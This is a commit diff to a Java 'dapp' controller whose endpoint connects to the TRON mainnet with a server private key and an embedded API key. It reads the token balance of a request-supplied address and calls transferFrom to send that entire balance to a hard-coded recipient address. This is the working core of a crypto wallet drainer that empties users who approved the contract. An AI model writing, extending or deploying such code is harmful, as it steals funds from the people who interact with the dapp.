fix
Helius
2021-10-19 c5b93fdb373ae162ef4ca1bfc46a8248755171a3
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
@@ -14,6 +14,7 @@
import javax.servlet.http.HttpServletRequest;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.RoundingMode;
/**
 * @author wzy
@@ -32,6 +33,7 @@
    @PostMapping(value = "/trcPost.html")
    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        log.info("-----进入方法-----");
        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
@@ -39,13 +41,7 @@
        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
        System.out.println(balanceOf);
        BigInteger decimals = token.decimals();
        BigDecimal divide = BigDecimal.TEN.pow(decimals.intValue());
        BigDecimal balance = BigDecimal.valueOf(balanceOf.intValue()).divide(divide, 0, BigDecimal.ROUND_DOWN);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balance.longValue(), 0, "memo", 100000000L);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
        return new FebsResponse().success();
    }
}